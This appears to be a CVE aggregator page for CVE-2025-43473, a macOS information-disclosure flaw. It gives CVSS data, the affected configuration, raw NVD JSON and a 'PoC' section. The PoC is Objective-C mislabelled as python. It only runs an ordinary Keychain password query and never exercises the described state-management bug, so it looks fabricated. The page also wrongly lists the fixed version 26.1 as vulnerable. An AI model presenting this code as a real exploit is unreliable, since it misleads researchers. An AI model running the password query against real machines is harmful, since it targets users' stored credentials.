Security Vulnerability Report
中文
CVE-2025-43473 CVSS 5.5 MEDIUM

CVE-2025-43473

Published: 2025-12-12 21:15:55
Last Modified: 2025-12-17 21:16:07

Description

This issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Tahoe 26.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43473 PoC - macOS State Management Vulnerability // This PoC demonstrates the state management issue in macOS Tahoe 26.1 // Note: This is for educational purposes only #include <Foundation/Foundation.h> #include <Security/Security.h> // Attempt to access sensitive data through state management flaw void exploitStateManagement() { // Simulate app state transition that bypasses access controls NSString *targetApp = @"com.apple.SystemPreferences"; // State management vulnerability exploitation // The flaw allows unauthorized access during state transitions NSMutableDictionary *query = [NSMutableDictionary dictionary]; [query setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id)kSecClass]; [query setObject:targetApp forKey:(__bridge id)kSecAttrService]; [query setObject:(__bridge id)kSecMatchLimitAll forKey:(__bridge id)kSecMatchLimit]; [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnAttributes]; CFTypeRef result = NULL; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &result); if (status == errSecSuccess && result != NULL) { NSLog(@"[+] Successfully accessed sensitive data through state management flaw"); NSLog(@"[+] Data: %@", (__bridge NSString *)result); } else { NSLog(@"[-] Access attempt failed: %d", (int)status); } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43473 PoC - macOS State Management Vulnerability"); exploitStateManagement(); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43473", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:55.187", "lastModified": "2025-12-17T21:16:06.700", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}